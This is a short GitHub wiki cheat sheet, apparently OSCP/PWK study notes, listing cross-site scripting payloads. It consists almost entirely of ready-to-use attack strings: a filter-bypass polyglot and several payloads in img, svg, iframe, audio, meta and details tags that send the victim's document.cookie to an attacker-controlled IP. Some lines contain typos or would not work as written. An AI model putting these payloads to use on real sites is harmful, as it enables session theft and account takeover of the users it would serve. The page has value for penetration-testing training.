XSS - A1vinSmith/OSCP-PWK GitHub Wiki

Cheat Sheet

Fuzz characters and tags

Sometimes the filter treat specific tag differently. e.g. <img>

Others

0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"

<img src="valid-image.png" onload="fetch('http://192.168.XX.XX/?c=' + document.cookie)">

'onload='let x = new Image;x.src="http://192.168.XX.XX/?"+document.cookie'

'onerror='var a = new Im-age;a.src="http://192.168.XX.XX/?"+document.cookie'

<svg onload="fetch('http://192.168.XX.XX/?c=' + document.cookie)"></svg>

'onload="fetch('http://192.168.XX.XX/?c=' + document.cookie)"></svg>

<iframe src="javascript:fetch('http://192.168.XX.XX/?c=' + document.cookie)"></iframe>

<meta http-equiv="refresh" content="0; url=http://192.168.XX.XX/?c=' + document.cookie">

<audio src="x" onerror="fetch('http://192.168.XX.XX/?c=' + document.cookie)"></audio>

<details ontoggle="fetch('http://192.168.XX.XX/?c=' + document.cookie)">
  <summary>Click me</summary>
</details>
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